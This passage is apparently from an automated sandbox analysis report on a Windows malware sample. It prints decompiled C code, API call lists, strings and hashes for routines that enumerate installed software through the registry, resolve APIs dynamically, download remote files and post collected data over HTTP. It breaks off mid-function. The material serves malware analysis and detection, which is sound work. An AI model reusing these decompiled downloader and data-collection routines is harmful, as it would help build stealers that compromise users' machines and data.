				char* _t87;
				void* _t92;

				_v2068 = 0;
				_v2064 = 0;
				_v2072 = 0;
				_v8 = 0xf003f;
				_v2076 = 0;
				_t69 =  *0x41a230; // 0x78a4f0
				_t44 = RegOpenKeyExA(0x80000002, _t69, 0, 0x20019,  &_v2068);
				if(_t44 == 0) {
					_v3104 = 0;
					while(_v2072 == 0) {
						_v2076 = 0x400;
						_v2072 = RegEnumKeyExA(_v2068, _v3104,  &_v1036,  &_v2076, 0, 0, 0, 0);
						if(_v2072 != 0) {
							L14:
							_v3104 = _v3104 + 1;
							continue;
						}
						_push( &_v1036);
						_t84 =  *0x41a230; // 0x78a4f0
						_push(_t84);
						wsprintfA( &_v2060, "%s\%s");
						_t92 = _t92 + 0x10;
						if(RegOpenKeyExA(0x80000002,  &_v2060, 0, 0x20019,  &_v2064) == 0) {
							_v2076 = 0x400;
							_t87 =  *0x41a71c; // 0x7891d0
							if(RegQueryValueExA(_v2064, _t87, 0,  &_v8,  &_v3100,  &_v2076) == 0) {
								_push( &_v3100);
								if( *0x41a908() > 1) {
									 *0x41aa24(_a4,  &_v3100);
									_v2076 = 0x400;
									_t77 =  *0x41a450; // 0x789098
									if(RegQueryValueExA(_v2064, _t77, 0,  &_v8,  &_v3100,  &_v2076) == 0) {
										 *0x41aa24(_a4, " ");
										 *0x41aa24(_a4,  &_v3100);
									}
									 *0x41aa24(_a4, "\n");
								}
							}
							RegCloseKey(_v2064);
							goto L14;
						}
						RegCloseKey(_v2064);
						return RegCloseKey(_v2068);
					}
					return RegCloseKey(_v2068);
				}
				return _t44;
			}

0x0040b339
0x0040b343
0x0040b34d
0x0040b357
0x0040b35e
0x0040b376
0x0040b382
0x0040b38a
0x0040b391
0x0040b3ac
0x0040b3b9
0x0040b3ed
0x0040b3fa
0x0040b535
0x0040b3a6
0x00000000
0x0040b3a6
0x0040b406
0x0040b407
0x0040b40d
0x0040b41a
0x0040b420
0x0040b445
0x0040b466
0x0040b484
0x0040b49a
0x0040b4a6
0x0040b4b0
0x0040b4bd
0x0040b4c3
0x0040b4e1
0x0040b4f7
0x0040b502
0x0040b513
0x0040b513
0x0040b522
0x0040b522
0x0040b4b0
0x0040b52f
0x00000000
0x0040b52f
0x0040b44e
0x00000000
0x0040b45b
0x00000000
0x0040b541
0x00000000

APIs

RegOpenKeyExA.ADVAPI32(80000002,0078A4F0,00000000,00020019,00000000), ref: 0040B382
RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040B3E7
wsprintfA.USER32 ref: 0040B41A
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,00000000), ref: 0040B43D
RegCloseKey.ADVAPI32(00000000), ref: 0040B44E
RegCloseKey.ADVAPI32(00000000), ref: 0040B45B

Strings

?, xrefs: 0040B357
%s\%s, xrefs: 0040B40E

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: CloseOpen$Enumwsprintf
String ID: %s\%s$?
API String ID: 2323328657-4134130046
Opcode ID: 633d1f22a7f17ada43fb024a05cd16ca398fc31fbc6fe5000daf135038cd0860
Instruction ID: e40631872db9b85caa783e97e8400b31f68121603665a09a8b222e6f0c3b8f21
Opcode Fuzzy Hash: 633d1f22a7f17ada43fb024a05cd16ca398fc31fbc6fe5000daf135038cd0860
Instruction Fuzzy Hash: A2513CB1911218ABDB10CB50CD48FEA77B8FF48304F00C5A9A249A6180DB789AC5CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 0057C530, Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 109libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(0041AA64,0041A718), ref: 0057C582
GetProcAddress.KERNEL32(0041AA64,pv), ref: 0057C59A
GetProcAddress.KERNEL32(0041AA64,0041A5BC), ref: 0057C5B2
GetProcAddress.KERNEL32(0041AA64,0041A4B0), ref: 0057C5CB
GetProcAddress.KERNEL32(0041AA64,0041A4C8), ref: 0057C5E3
GetProcAddress.KERNEL32(0041AA64,0041A7D4), ref: 0057C5FB
GetProcAddress.KERNEL32(0041AA64,0041A324), ref: 0057C614
GetProcAddress.KERNEL32(0041AA64,0041A6F0), ref: 0057C62C
GetProcAddress.KERNEL32(0041AA64,0041A7B0), ref: 0057C644
GetProcAddress.KERNEL32(0041AA64,0041A218), ref: 0057C65D
GetProcAddress.KERNEL32(0041AA64,004192A0), ref: 0057C673
LoadLibraryA.KERNEL32((w,?,00576DC2), ref: 0057C685
LoadLibraryA.KERNEL32(0041A658,?,00576DC2), ref: 0057C697
GetProcAddress.KERNEL32(0041A854,0041A594), ref: 0057C6B8
GetProcAddress.KERNEL32(0041A934,0041A0B8), ref: 0057C6D9

Strings

pv, xrefs: 0057C58D, 0057C592
(w, xrefs: 0057C67E, 0057C684

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: (w$pv
API String ID: 2238633743-2685830193
Opcode ID: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction ID: 7bf0f8f4c34aedde9078bfe3d10916b2c6afd1e327ed741457395f1bcd018657
Opcode Fuzzy Hash: 2656e5721d2e72d8ddd254abdf4fc75b759c6e6593f162f059aa174bfdec3ac2
Instruction Fuzzy Hash: B74174F5523200DFC344DFA8FE889A23BB9BB88251705C939E50983671D63895A1CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00411520, Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,00412A9A,?), ref: 00411528
StrCmpCA.SHLWAPI(?,00419340,?,00412A9A,?), ref: 00411575
StrCmpCA.SHLWAPI(?,.zip,?,00412A9A,?), ref: 0041158F
StrCmpCA.SHLWAPI(?,.zoo,?,00412A9A,?), ref: 004115A9

Strings

.gz, xrefs: 004115FC
.tgz, xrefs: 00411613
.lzh, xrefs: 004115CE
.arc, xrefs: 004115B7
.arj, xrefs: 004115E5
.zip, xrefs: 00411586
.zoo, xrefs: 004115A0

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: lstrlen
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1659193697-51310709
Opcode ID: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction ID: d5930b3a33e29c7b2ebfdd29e75950525031afcffcbb0299905607ea0d7068d1
Opcode Fuzzy Hash: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction Fuzzy Hash: DD318479B04204FB8B00DFB0C9849FF77B6AE59740B248056F61697760D239DE81EB5D

Uniqueness

Uniqueness Score: -1.00%

Function 004049E0, Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 141
networkfileCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E004049E0(void* __ecx, char* _a4, CHAR* _a8) {
				intOrPtr _v8;
				void* _v12;
				long _v16;
				void* _v20;
				struct _OVERLAPPED* _v24;
				void _v1052;
				long _v1060;
				void* _v1064;
				long _v1068;
				void _v1324;
				long _v1328;
				struct _OVERLAPPED* _v1332;
				void* _t43;
				long _t46;
				int _t55;
				int _t58;
				long _t61;
				long _t65;
				long _t75;

				_v24 = 0;
				_v16 = 0;
				_v1068 = 0x100;
				_t43 = InternetOpenA(0x41401a, 1, 0, 0, 0);
				_v1064 = _t43;
				if(_v1064 != 0) {
					_t46 =  *0x41aa4c(E00404970(__ecx, __eflags, _a4), "https");
					__eflags = _t46;
					if(_t46 == 0) {
						_v16 = 1;
					}
					_v1332 = 0;
					while(1) {
						__eflags = _v1332 - 6;
						if(_v1332 >= 6) {
							break;
						}
						__eflags = _v16;
						if(_v16 == 0) {
							_v12 = InternetOpenUrlA(_v1064, _a4, 0, 0, 0x100, 0);
						} else {
							_v12 = InternetOpenUrlA(_v1064, _a4, 0, 0, 0x800100, 0);
						}
						_t61 = HttpQueryInfoA(_v12, 0x13,  &_v1324,  &_v1068, 0);
						__eflags = _t61;
						if(_t61 == 0) {
							L14:
							_t75 =  &(_v1332->Internal);
							__eflags = _t75;
							_v1332 = _t75;
							continue;
						} else {
							_t65 =  *0x41aa4c( &_v1324, "200");
							__eflags = _t65;
							if(_t65 != 0) {
								Sleep(0x7530);
								goto L14;
							}
							break;
						}
					}
					_v20 = CreateFileA(_a8, 0x40000000, 3, 0, 2, 0x80, 0);
					while(1) {
						__eflags = 1;
						if(1 == 0) {
							break;
						}
						_t55 = InternetReadFile(_v12,  &_v1052, 0x400,  &_v1060);
						__eflags = _t55;
						if(_t55 == 0) {
							L21:
							break;
						}
						__eflags = _v1060;
						if(_v1060 <= 0) {
							L22:
							_v8 = _v8 + _v1060;
							__eflags = _v1060 - 0x400;
							if(_v1060 >= 0x400) {
								continue;
							}
							break;
						}
						_t58 = WriteFile(_v20,  &_v1052, _v1060,  &_v1328, 0);
						__eflags = _t58;
						if(_t58 == 0) {
							goto L21;
						}
						__eflags = _v1060 - _v1328;
						if(_v1060 == _v1328) {
							goto L22;
						}
						goto L21;
					}
					E0040B720( &_v1052, 0x400);
					CloseHandle(_v20);
					InternetCloseHandle(_v12);
					return InternetCloseHandle(_v1064);
				}
				return _t43;
			}

0x004049e9
0x004049f0
0x004049f7
0x00404a0e
0x00404a14
0x00404a21
0x00404a3a
0x00404a40
0x00404a42
0x00404a44
0x00404a44
0x00404a4b
0x00404a66
0x00404a66
0x00404a6d
0x00000000
0x00000000
0x00404a73
0x00404a77
0x00404ab6
0x00404a79
0x00404a95
0x00404a95
0x00404acf
0x00404ad5
0x00404ad7
0x00404afc
0x00404a5d
0x00404a5d
0x00404a60
0x00000000
0x00404ad9
0x00404ae5
0x00404aeb
0x00404aed
0x00404af6
0x00000000
0x00404af6
0x00000000
0x00404aef
0x00404ad7
0x00404b1d
0x00404b20
0x00404b25
0x00404b27
0x00000000
0x00000000
0x00404b40
0x00404b46
0x00404b48
0x00404b86
0x00000000
0x00404b86
0x00404b4a
0x00404b51
0x00404b88
0x00404b91
0x00404b94
0x00404b9e
0x00000000
0x00404ba2
0x00000000
0x00404ba0
0x00404b6e
0x00404b74
0x00404b76
0x00000000
0x00000000
0x00404b7e
0x00404b84
0x00000000
0x00000000
0x00000000
0x00404b84
0x00404bb3
0x00404bbc
0x00404bc6
0x00000000
0x00404bd3
0x00000000

APIs

InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00404A0E
StrCmpCA.SHLWAPI(00000000,https), ref: 00404A3A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00404A8F
HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00404ACF
StrCmpCA.SHLWAPI(?,200), ref: 00404AE5
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404B17
InternetReadFile.WININET(?,?,00000400,?), ref: 00404B40
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404B6E
CloseHandle.KERNEL32(?,?,00000400), ref: 00404BBC
InternetCloseHandle.WININET(?), ref: 00404BC6
InternetCloseHandle.WININET(00000000), ref: 00404BD3

Strings

https, xrefs: 00404A28
200, xrefs: 00404AD9

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$CreateHttpInfoQueryReadWrite
String ID: 200$https
API String ID: 1681390745-2945048398
Opcode ID: c31e8308ac884f8f2725585f2c0d583281fa0a271bead2ab3ea92c6ff43d03ad
Instruction ID: fb624ede4d81cfb8019f53897a3e05eb4db491724901a2fa6b1ef0cdd0b3c389
Opcode Fuzzy Hash: c31e8308ac884f8f2725585f2c0d583281fa0a271bead2ab3ea92c6ff43d03ad
Instruction Fuzzy Hash: 8F5141F1A40208ABDB10DB90DC45FEA77B8BB88715F1080A9F705B62C0D778AA80CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 004082E0, Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 155stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040830F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040835F
RtlAllocateHeap.NTDLL(00000000), ref: 00408366
lstrcat.KERNEL32(?,00787B90), ref: 004083E1

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00000000), ref: 00408425
lstrcat.KERNEL32(?,00787908), ref: 00408438
lstrcat.KERNEL32(?,?), ref: 0040844C
lstrcat.KERNEL32(?,00788218), ref: 00408460
lstrcat.KERNEL32(?,?), ref: 00408474
lstrcat.KERNEL32(?,004191F0), ref: 00408486
lstrcat.KERNEL32(?,?), ref: 0040849A
lstrcat.KERNEL32(?,00418BC0), ref: 004084AC
lstrlen.KERNEL32(?), ref: 004084BE

Strings

yx, xrefs: 00408302

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: lstrcat$Heap$AllocAllocateLocalProcesslstrlenmemsetwsprintf
String ID: yx
API String ID: 2806430148-1142075181
Opcode ID: 625843ca34ed7e0e1c7bac87bae398836e1447a572bc5b4c7a4beef6269fe3f9
Instruction ID: 59f89f9cc7d9a5e3f1725e4a0dc26015c1addf92b97e6f17d5df6be883cb31b8
Opcode Fuzzy Hash: 625843ca34ed7e0e1c7bac87bae398836e1447a572bc5b4c7a4beef6269fe3f9
Instruction Fuzzy Hash: 885168B1A00108ABCB14DFA4DD4AEDA77B8AF4C705F0085A4F709D3251DA35DEA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00578530, Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 155stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0057855F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 005785AF
RtlAllocateHeap.NTDLL(00000000), ref: 005785B6
lstrcat.KERNEL32(?,0041A208), ref: 00578631

Part of subcall function 00577480: memset.MSVCRT ref: 005774D2
Part of subcall function 00577480: LocalAlloc.KERNEL32(00000040,?), ref: 00577521
Part of subcall function 00577480: lstrcat.KERNEL32(?,00000000), ref: 00577587

lstrcat.KERNEL32(?,00000000), ref: 00578675
lstrcat.KERNEL32(?,0041A488), ref: 00578688
lstrcat.KERNEL32(?,?), ref: 0057869C
lstrcat.KERNEL32(?,0041A158), ref: 005786B0
lstrcat.KERNEL32(?,?), ref: 005786C4
lstrcat.KERNEL32(?,004191F0), ref: 005786D6
lstrcat.KERNEL32(?,?), ref: 005786EA
lstrcat.KERNEL32(?,00418BC0), ref: 005786FC
lstrlen.KERNEL32(?), ref: 0057870E

Strings

yx, xrefs: 00578552, 00578557

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: lstrcat$Heap$AllocAllocateLocalProcesslstrlenmemsetwsprintf
String ID: yx
API String ID: 2806430148-1142075181
Opcode ID: 88c21c9bfdff89063fd4b0833be0942f936582d795599a721e22ff83f338ee38
Instruction ID: c86cf5618e1a2617ad06baafded72098e4f27cea591eb6330fc35c1287bda84f
Opcode Fuzzy Hash: 88c21c9bfdff89063fd4b0833be0942f936582d795599a721e22ff83f338ee38
Instruction Fuzzy Hash: 715164B1A00108ABCB14DBA4DD4AEEA77B8BF4C705F008594F70997251DA35DEA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 005753F0, Relevance: 24.2, APIs: 16, Instructions: 172networksleepfileCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(0041401A,00000000,00000000,00000000,00000000), ref: 0057541D
StrCmpCA.SHLWAPI(00000000,00418B90), ref: 00575443
InternetSetOptionA.WININET(00000000,00000006,000927C0,00000004), ref: 0057547D
InternetConnectA.WININET(00000000,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 005754A3
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 005754C8
HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00C00100,00000000), ref: 00575503
HttpOpenRequestA.WININET(00000000,?,?,00000000,00000000,00000000,00400100,00000000), ref: 0057552A
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00575577
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00575593
StrCmpCA.SHLWAPI(?,00418B8C), ref: 005755A9
Sleep.KERNEL32(00007530), ref: 005755C4
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 005755EC
lstrcat.KERNEL32(?,00000000), ref: 00575628
InternetCloseHandle.WININET(00000000), ref: 00575634
InternetCloseHandle.WININET(00000000), ref: 00575641
InternetCloseHandle.WININET(00000000), ref: 0057564E

Part of subcall function 00574A80: CryptStringToBinaryA.CRYPT32(?,00000000,00000000), ref: 00574ACE
Part of subcall function 00574A80: CryptStringToBinaryA.CRYPT32(?,00000000,00000000,00000000), ref: 00574AF6

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: Internet$Http$CloseHandleOpenRequest$BinaryConnectCryptString$FileInfoOptionQueryReadSendSleeplstrcat
String ID:
API String ID: 381316015-0
Opcode ID: a6722cafb6227cf9e283476907adda51c7ac685d6552fbd8e5ce2c83df479042
Instruction ID: 97beb68d50e38230b945421c5f390d0a354f525eb51e6ba80eda0ea41f277f3d
Opcode Fuzzy Hash: a6722cafb6227cf9e283476907adda51c7ac685d6552fbd8e5ce2c83df479042
Instruction Fuzzy Hash: 0F615B71A41319ABEB20CF50DC49FEA7BB4BB08700F10C599B20DAA1C0D7F8AA84DF55

Uniqueness

Uniqueness Score: -1.00%

Function 0040BCF0, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156COMMON

Download Yara Rule

Strings

g@A, xrefs: 0040BD1C, 0040BE70, 0040BD1F, 0040BE73
g@A, xrefs: 0040BE4C, 0040BE4F
image/jpeg, xrefs: 0040BDE3

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID:
String ID: image/jpeg$g@A$g@A
API String ID: 0-1537867833
Opcode ID: 13642a03564dce3ec8fa5213b0d982587bde0afc6153abd95ccba73b638ac59e
Instruction ID: 94b623c1a3e4286d278b3a98d93620b6c1d28f1eb204197fa047bb13e3fbbd8a
Opcode Fuzzy Hash: 13642a03564dce3ec8fa5213b0d982587bde0afc6153abd95ccba73b638ac59e
Instruction Fuzzy Hash: 3251FAB5A11208AFCB04DBE4DC44FEEB7B9EF4C701F148929F605E6290D734A951CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00574C30, Relevance: 19.6, APIs: 13, Instructions: 141networkfileCOMMON

Download Yara Rule

APIs

InternetOpenA.WININET(0041401A,00000001,00000000,00000000,00000000), ref: 00574C5E
StrCmpCA.SHLWAPI(00000000,00418B84), ref: 00574C8A
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00800100,00000000), ref: 00574CDF
HttpQueryInfoA.WININET(?,00000013,?,00000100,00000000), ref: 00574D1F
StrCmpCA.SHLWAPI(?,00418B8C), ref: 00574D35
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00574D67
InternetReadFile.WININET(?,?,00000400,?), ref: 00574D90
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00574DBE
CloseHandle.KERNEL32(?,?,00000400), ref: 00574E0C
InternetCloseHandle.WININET(?), ref: 00574E16
InternetCloseHandle.WININET(00000000), ref: 00574E23

Memory Dump Source

Source File: 00000014.00000002.410579929.0000000000570000.00000040.00000001.sdmp, Offset: 00570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_570000_C29C.jbxd

Similarity

API ID: Internet$CloseFileHandle$Open$CreateHttpInfoQueryReadWrite
String ID:
API String ID: 1681390745-0
Opcode ID: cee54dde57788165cd2f5eecb82456abf25827b5851e07fa58a387223f456198
Instruction ID: 6ee1cc1f972ca618a3a23c249a72c27cdc7f3233c03124bc295ffc013810093f
Opcode Fuzzy Hash: cee54dde57788165cd2f5eecb82456abf25827b5851e07fa58a387223f456198
Instruction Fuzzy Hash: 285153B1A41318ABDB20CF90DC49FEE7BB8BB48705F10C499F609A61C0D7749A84DF59

Uniqueness

Uniqueness Score: -1.00%

Function 00406320, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 185
stringCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E00406320(void* __ecx, void* __eflags, intOrPtr _a4, char _a8) {
				signed int _v8;
				intOrPtr _v12;
				char _v276;
				char _v540;
				intOrPtr _v544;
				char _v5548;
				char* _v5552;
				char _v5820;
				char* _v5824;
				char _v5828;
				char _v5832;
				signed int _v5836;
				char* _t74;
				intOrPtr _t79;
				void* _t99;
				void* _t100;

				E004139B0(0x16c8, __ecx);
				_v5552 = 1;
				E0040B720( &_v5548, 0x1388);
				E0040B720( &_v540, 0x104);
				E0040B720( &_v5820, 0x104);
				E0040B720( &_v276, 0x104);
				E0040B720( &_v5832, 4);
				 *0x41aa24( &_v5548, _a4);
				_t74 = E0040C090( &_v5548, "|",  &_v5828);
				_t100 = _t99 + 0xc;
				_v5824 = _t74;
				_v8 = 1;
				while(_v5824 != 0) {
					_v5836 = _v8;
					_v5836 = _v5836 - 1;
					if(_v5836 <= 6) {
						switch( *((intOrPtr*)(_v5836 * 4 +  &M0040662C))) {
							case 0:
								if(_v5552 == 0) {
									E0040B720( &_v540, 0x104);
									_push(_v5824);
									_push( &_v540);
									 *0x41aa24();
								} else {
									_push("1");
									_push(_v5824);
									if( *0x41aa4c() == 0) {
										 *0x41aba4 = 1;
									}
								}
								goto L37;
							case 1:
								__eflags = _v5552;
								if(_v5552 == 0) {
									_v544 = E0040B650(__ecx, _v5824);
								} else {
									_push("1");
									__ecx = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41aba8 = 1;
									}
								}
								goto L37;
							case 2:
								__eflags = _v5552;
								if(_v5552 == 0) {
									__ecx =  &_v5820;
									__eax = E0040B720( &_v5820, 0x104);
									_push(_v5824);
									__eax =  &_v5820;
									_push( &_v5820);
									__eax =  *0x41aa24();
								} else {
									_push("1");
									__eax = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41abac = 1;
									}
								}
								goto L37;
							case 3:
								__eflags = _v5552;
								if(_v5552 == 0) {
									E0040B720( &_v276, 0x104) = _v5824;
									_push(_v5824);
									__ecx =  &_v276;
									_push( &_v276);
									__eax =  *0x41aa24();
								} else {
									_push("1");
									__ecx = _v5824;
									_push(_v5824);
									__eax =  *0x41aa4c();
									__eflags = __eax;
									if(__eax == 0) {
										 *0x41abb0 = 1;
									}
									_v5552 = 0;
									_v8 = 0;
								}
								goto L37;
							case 4:
								_push("0");
								_push(_v5824);
								__eax =  *0x41aa4c();
								__eflags = __eax;
								if(__eax != 0) {
									_v12 = 1;
								} else {
									_v12 = 0;
								}
								goto L37;
							case 5:
								_push("0");
								__eax = _v5824;
								_push(_v5824);
								__eax =  *0x41aa4c();
								__eflags = __eax;
								if(__eax != 0) {
									_v5832 = 1;
								} else {
									_v5832 = 0;
								}
								goto L37;
							case 6:
								__ecx = _v5824;
								_t51 =  &_a8; // 0x406751
								__eax =  *_t51;
								__ecx = _v12;
								__eax =  &_v5820;
								__ecx = _v544;
								__eax = E00406130(_v544, __eflags,  &_v540, _v544,  &_v5820,  &_v276, _v12,  *_t51, _v5832, _v5824);
								_v8 = 0;
								goto L37;
						}
					}
					L37:
					_v8 = _v8 + 1;
					_t79 = E0040C090(0, "|",  &_v5828);
					_t100 = _t100 + 0xc;
					_v5824 = _t79;
				}
				return E0040B720( &_v5548, 0x1388);
			}

0x00406328
0x0040632d
0x00406343
0x00406354
0x00406365
0x00406376
0x00406384
0x00406394
0x004063ad
0x004063b2
0x004063b5
0x004063bb
0x004063c2
0x004063d2
0x004063e1
0x004063ee
0x004063fa
0x00000000
0x00406408
0x00406438
0x00406443
0x0040644a
0x0040644b
0x0040640a
0x0040640a
0x00406415
0x0040641e
0x00406420
0x00406420
0x0040642a
0x00000000
0x00000000
0x00406456
0x0040645d
0x00406490
0x0040645f
0x0040645f
0x00406464
0x0040646a
0x0040646b
0x00406471
0x00406473
0x00406475
0x00406475
0x0040647f
0x00000000
0x00000000
0x0040649b
0x004064a2
0x004064cb
0x004064d2
0x004064dd
0x004064de
0x004064e4
0x004064e5
0x004064a4
0x004064a4
0x004064a9
0x004064af
0x004064b0
0x004064b6
0x004064b8
0x004064ba
0x004064ba
0x004064c4
0x00000000
0x00000000
0x004064f0
0x004064f7
0x0040653d
0x00406543
0x00406544
0x0040654a
0x0040654b
0x004064f9
0x004064f9
0x004064fe
0x00406504
0x00406505
0x0040650b
0x0040650d
0x0040650f
0x0040650f
0x00406519
0x00406523
0x00406523
0x00000000
0x00000000
0x00406556
0x00406561
0x00406562
0x00406568
0x0040656a
0x00406575
0x0040656c
0x0040656c
0x0040656c
0x00000000
0x00000000
0x0040657e
0x00406583
0x00406589
0x0040658a
0x00406590
0x00406592
0x004065a0
0x00406594
0x00406594
0x00406594
0x00000000
0x00000000
0x004065ac
0x004065ba
0x004065ba
0x004065be
0x004065c9
0x004065d0
0x004065de
0x004065e6
0x00000000
0x00000000
0x004063fa
0x004065ed
0x004065f3
0x00406604
0x00406609
0x0040660c
0x0040660c
0x0040662b

APIs

lstrcat.KERNEL32(?,?), ref: 00406394
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 00406416
lstrcat.KERNEL32(?,00000000), ref: 0040644B
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 0040646B
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 004064B0
lstrcat.KERNEL32(?,00000000), ref: 004064E5
StrCmpCA.SHLWAPI(00000000,00418BDC), ref: 00406505
lstrcat.KERNEL32(?,00000000), ref: 0040654B
StrCmpCA.SHLWAPI(00000000,00418BE0), ref: 00406562
StrCmpCA.SHLWAPI(00000000,00418BE0), ref: 0040658A

Part of subcall function 00406130: wsprintfA.USER32 ref: 0040616C
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 004061BC
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 004061EA
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 00406218
Part of subcall function 00406130: lstrcpy.KERNEL32(?,00000000), ref: 00406246

Strings

Qg@, xrefs: 004065BA, 004065BD

Memory Dump Source

Source File: 00000014.00000002.410432362.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.410480018.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_C29C.jbxd

Similarity

API ID: lstrcatlstrcpy$wsprintf
String ID: Qg@
API String ID: 2209684894-3462340965
Opcode ID: 315f55e7bfbd4beb232a1c8891c28293502b42785fb1e119d37202c3e2330f60
Instruction ID: a6c453932f1a9cbb60a7cc7ac58ece15fec1271fc19e7cecd9f856b6af5d47a2
Opcode Fuzzy Hash: 315f55e7bfbd4beb232a1c8891c28293502b42785fb1e119d37202c3e2330f60
Instruction Fuzzy Hash: CB7160B5904218EBCB24DF50DC85BEA73B8AF44304F0482EEE10AA7290D7799BD4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00405B00, Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 178
stringCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00405B00(void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				char _v276;
				char _v540;
				char _v804;
				char _v1068;
				char _v1072;
				char _v1076;
				intOrPtr _v1104;
				intOrPtr _v1108;
				intOrPtr _v1112;
				char* _v1116;
				char* _v1120;
				intOrPtr _v1124;
				intOrPtr _v1128;
				intOrPtr _v1132;
				char _v1136;
				intOrPtr _v1140;
				char _t56;
				char _t66;
				void* _t69;
				void* _t73;
				void* _t77;
				void* _t81;
